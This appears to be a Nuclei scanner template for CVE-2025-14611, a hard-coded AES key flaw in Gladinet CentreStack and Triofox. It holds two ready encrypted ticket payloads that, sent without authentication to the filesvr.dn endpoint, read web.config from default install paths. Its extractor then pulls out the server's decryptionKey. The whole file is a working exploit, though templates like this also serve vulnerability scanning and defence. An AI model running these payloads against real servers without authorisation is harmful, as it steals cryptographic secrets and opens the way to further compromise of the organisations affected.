id: CVE-2025-14611

info:
  name: "Gladinet CentreStack - Hard-coded Credentials"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Gladinet CentreStack and Triofox prior to version 16.12.10420.56791 used hardcoded values for their
    implementation of the AES cryptoscheme. This degrades security for public exposed endpoints that may make use
    of it and may offer arbitrary local file inclusion when provided a specially crafted request without
    authentication.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-14611&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=gladinet&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-14611
    cwe-id: CWE-321
  metadata:
    verified: false
  tags: cve,cve2025,gladinet,centrestack,triofox,kev,vkev,vuln
http:
  - method: GET
    path:
      - "{{BaseURL}}/storage/filesvr.dn?t={{ticket}}"

    attack: batteringram
    payloads:
      ticket:
        # C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m|GbA|RIwrK0WT6jLb:ulpCaAEZ7n1cnc6XQR3EtoADI"
        # C:\Program Files\Gladinet Cloud Enterprise\root\web.config
        - "vghpI7EToZUDIZDdprSubEhRtHNTizyG2QqrcdDETcITXhiueSqu1pPPD0BQ03d6BDri8Usk8QTlEK1U8I2khiLTdy5632hOGCvV6bq1ZSQKpxPmISgLb:TSHrns|y3r"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<configuration>","<system.web>")'
          - 'contains_any(header, "application/xml","text/xml","application/octet-stream")'
        condition: and

    extractors:
      - type: regex
        part: body
        name: decryption_key
        group: 1
        regex:
          - 'decryptionKey="([A-Fa-f0-9]+)"'